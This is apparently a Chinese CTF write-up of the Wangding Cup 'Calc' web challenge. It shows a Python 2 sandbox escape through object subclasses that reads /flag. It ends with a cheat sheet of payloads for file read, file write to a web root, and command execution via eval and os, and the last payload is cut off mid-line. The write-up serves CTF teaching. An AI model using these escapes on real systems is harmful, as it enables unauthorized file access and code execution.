解网鼎杯一道web题(Calc)

探测:roboot.txt
回显:
Traceback (most recent call last):

  File "/usr/local/lib/python2.7/dist-packages/tornado/web.py", line 1520, in _execute
    result = self.prepare()
  File "/usr/local/lib/python2.7/dist-packages/tornado/web.py", line 2266, in prepare
    raise HTTPError(self._status_code)
HTTPError: HTTP 404: Not Found

根据 报错信息和题目 初步确定Python沙箱安全
初步测试 执行
POE:1+2+float(1.1)\1+2+int('3.3')\1+2+abs(3.3)

解网鼎杯一道web题(Calc)
说明math函数里面可以有字符串

EXP: 1+2+float(str([].__class__.__mro__[-1].__subclasses__()[40]('/flag').read()))

解网鼎杯一道web题(Calc)

拿到flag。

[].class.mro[-1].subclasses()/().class.mro[-1].subclasses()魔术代码,
不用import任何模块,但可调用任意模块的方法。
一开始并不知道file在40的位置,直接暴力遍历,后面跟上file对应的方法即可。

附:常见payload
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").p